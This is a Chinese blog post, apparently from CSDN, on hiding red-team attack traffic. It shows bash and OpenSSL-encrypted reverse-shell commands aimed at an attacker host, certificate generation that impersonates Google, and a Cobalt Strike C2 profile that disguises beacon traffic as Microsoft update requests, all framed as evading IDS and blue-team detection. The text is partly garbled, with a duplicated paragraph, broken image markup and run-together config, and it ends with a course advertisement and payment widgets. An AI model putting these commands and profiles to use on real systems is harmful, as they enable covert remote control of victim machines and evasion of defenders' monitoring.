流量加密-隐藏攻击痕迹

本文介绍了渗透测试中如何避免明文反弹shell被检测,通过使用OpenSSL进行加密传输以及在CobaltStrike中修改profile实现流量混淆,以提高攻击的隐蔽性。作者还提供了具体的操作步骤和示例,强调了在高度安全环境中的流量加密必要性。
摘要由CSDN通过智能技术生成

红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要横行渗透,反弹 shell,如果反弹 shell 都是明文传输,未加密的流量使用 wireshark 等工具抓包分析可以直接看到输入的命令和返回的信息,而且内网中 IDS 或者防护软件会进行流量进行分析,检测带有攻击特征,很容易被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。此时红队攻击就会暴漏出来,整个项目都要停止

接下来先看下明文传输,然后介绍一些常见的流量加密混淆的方法

明文传输

环境介绍

  • 攻击者Kali:192.168.179.134
  • 受害者ubuntu:192.168.179.139

因为已经进入了后渗透阶段,环境中我们已经拿到了受害者的权限

先来一个错误示范,看看未经加密的流量状态

首先攻击者使用 nc 监听反弹端口

nc -lvvp 8080 

然后在受害者机器上执行反弹shell命令,当然反弹shell的方法有很多,可以了解下,这里使用的 bash 反弹shell,适用于 linux 系统,无需安装

bash -i >& /dev/tcp/192.168.179.134/8080 0>&1 

有关反弹shell的文章:

连接成功后在攻击机执行命令并使用 wireshark 嗅探流量(kali默认安装)

分析流量,看 tcp 流量就可以了,右击选择追踪流,可以看到执行的命令

Openssl加密传输

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上

使用上一节的环境

使用步骤

1.攻击机使用 OpenSSL 生成自签名证书openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes 2.攻击机监听端口openssl s_server -quiet -key key.pem -cert cert.pem -port 8080 3.目标机器(受害者)执行反弹 shell 命令mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect192.168.179.134:8080 > /tmp/s; rm /tmp/s# IP为攻击者IP,端口为监听端口 mkfifo 是一个创建命令管道的函数> 什么是命名管道> > 命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在,但是它的行为却和之前所讲的没有名字的管道(匿名管道)类似。> > 由于Linux中所有的事物都可被视为文件,所以对命名管道的使用也就变得与文件操作非常的统一,也使它的使用非常方便,同时我们也可以像平常的文件名一样在命令中使用

使用wireshark分析流量,可以看到 tcp 流中全部为乱码

MSF流量加密

MSF 流量加密是基于 openssl 提供的加密功能,进行流量加密

环境介绍

  • 攻击者Kali:192.168.179.134
  • 受害者windows:192.168.179.136

使用步骤

1.在攻击机上使用 openssl 创建证书openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \-keyout www.google.com.key \-out www.google.com.crt && \cat www.google.com.key www.google.com.crt > www.google.com.pem && \rm -f www.google.com.key www.google.com.crt

CS修改profile进行流量加密

因为 CS 名声很大,使用很广泛,导致很多 ids 入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,因为证书没修改,容易通过流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复

生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器

检测报告将返回给管理员,管理员就能马上将缺口进行修复

生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器

1.生成 ssl 证书在运行 cobalt strike 默认使用的 cobaltstrike.store 证书,使用默认证书容易被检测到,所以需要生成新证书在kali中执行以下命令keytool -genkey -alias ocean -keyalg RSA -validity 36500 -keystore ocean.store <img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/50ed85fe44aa4168b1fcda34d2a83b33~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)image-20211217222634995因为修改 profile 要使用填写相关的地区信息 这些信息填写后在 profile 上还要使用 请勿乱填,填写了要保存,信息确认后会生成一个名为 ocean.store 的文件2.编辑 CS teamserver 的配置文件set sample_name "ocean POS Malware";set sleeptime "5000"; # use a ~30s delay between callbacksset jitter "10";# throw in a 10% jitterset useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101Firefox/24.0";#设置证书https-certificate {set CN"US";set O"MicrosoftUpdates";set C"en";set L"US";set OU"MicrosoftUpdates";set ST"US";set validity "365";}#设置code-signer{set keystore "ocean.store";set password "123456";set alias "ocean";}#指定 DNS beacon 不用的时候指定到 IP 地址set dns_idle "8.8.4.4";#每个单独 DNS 请求前强制睡眠时间set dns_sleep "0";#通过 DNS 上载数据时主机名的最大长度[0-255]set maxdns"235";http-post {set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php/windowsxp/updcheck.php /hello/flash.php";client {header "Accept" "text/plain";header "Accept-Language" "en-us";header "Accept-Encoding" "text/plain";header "Content-Type" "application/x-www-form-urlencoded";id {netbios;parameter "id";}output {base64;prepend "&op=1&id=vxeykS&ui=Josh @PC&wv=11&gr=backoff&bv=1.55&data=";print;}}server {output {print;}}}http-get {set uri "/updates";client {metadata {netbiosu;prepend "user=";header "Cookie";}}server {header "Content-Type" "text/plain";output {base64;print;}}} 注意这里的信息需要于生成文件时填写的信息一致使用命令验证配置是否正确./c2lint ocean.profile 修改teamserver端口vim teamserver# 找到端口修改即可 3.启动teamserver./teamserver ip password ocean.profile 新建 https 监听器image-20211217224338115在添加监听器之后因为使用的是 443 https 端口,在浏览器访问时会提示证书无效,可以查看证书信息image-202112172248314624.生成后门image-202112172250006275.受害者执行上线,使用 wireshark 抓包分析,流量已经加密![image-20211217225208467](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/df8d9ce9e51d46f48b3cd7eecc44440c~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image” style=“margin: auto” /># 学习计划安排

我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值